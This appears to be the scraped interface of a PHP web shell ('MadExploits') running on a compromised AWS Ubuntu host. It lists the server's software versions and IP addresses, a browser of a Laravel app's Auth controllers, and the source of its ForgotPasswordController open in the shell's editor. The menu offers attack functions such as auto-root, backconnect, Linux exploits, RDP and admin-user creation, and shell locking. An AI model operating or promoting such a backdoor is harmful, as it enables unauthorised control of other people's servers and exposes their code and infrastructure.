Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.90.83
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Controllers /
Auth /
[ HOME SHELL ]
Name
Size
Permission
Action
ApiAuthController.php
2.47
KB
-rw-rw-r--
ForgotPasswordController.php
2.4
KB
-rw-rw-r--
LoginController.php
6.23
KB
-rw-rw-r--
RegisterController.php
5.81
KB
-rw-rw-r--
RegisterTesters.php
972
B
-rw-rw-r--
ResetPasswordController.php
1.47
KB
-rw-rw-r--
VerificationController.php
1.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ForgotPasswordController.php
<?php namespace App\Http\Controllers\Auth; use Illuminate\Foundation\Auth\SendsPasswordResetEmails; use Illuminate\Http\Request; use Illuminate\Support\Str; use Illuminate\Support\Facades\DB; use App\Notifications\ResetPasswordNotification; use App\Http\Controllers\Controller; use App\User; use Illuminate\Contracts\Hashing\Hasher; class ForgotPasswordController extends Controller { /* |-------------------------------------------------------------------------- | Password Reset Controller |-------------------------------------------------------------------------- | | This controller is responsible for handling password reset emails and | includes a trait which assists in sending these notifications from | your application to your users. Feel free to explore this trait. | */ use SendsPasswordResetEmails; /** * Create a new controller instance. * * @return void */ public function __construct(Hasher $hasher) { $this->middleware('guest'); $this->hasher = $hasher; } /** * Display the form to request a password reset link. * * @return \Illuminate\View\View */ public function showLinkRequestForm() { return view('auth.passwords.email', ['page' => 'User']); } /** * Send a reset link to the given user. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse */ public function sendResetLinkEmail(Request $request) { $this->validateEmail($request); $db = DB::getMongoDB(); $email = $request->input('email'); $user = User::where('email', $email)->first(); if (!$user) { return view('auth.verify', ['message' => 'User with email ' . $email . ' does not exist.', 'page' => 'User']); } $db->password_resets->deleteOne(['email' => $email]); $token = Str::random(60); $inserted = $db->password_resets->insertOne([ 'email' => $request->email, 'token' => $this->hasher->make($token), 'created_at' => (new \DateTime('now', new \DateTimeZone('Africa/Lagos')))->format('Y-m-d H:i:s') ]); $user->sendPasswordResetNotification($token); return view('auth.verify', ['message' => 'A reset link has been sent to ' . $user->email, 'page' => 'User']); } }
Close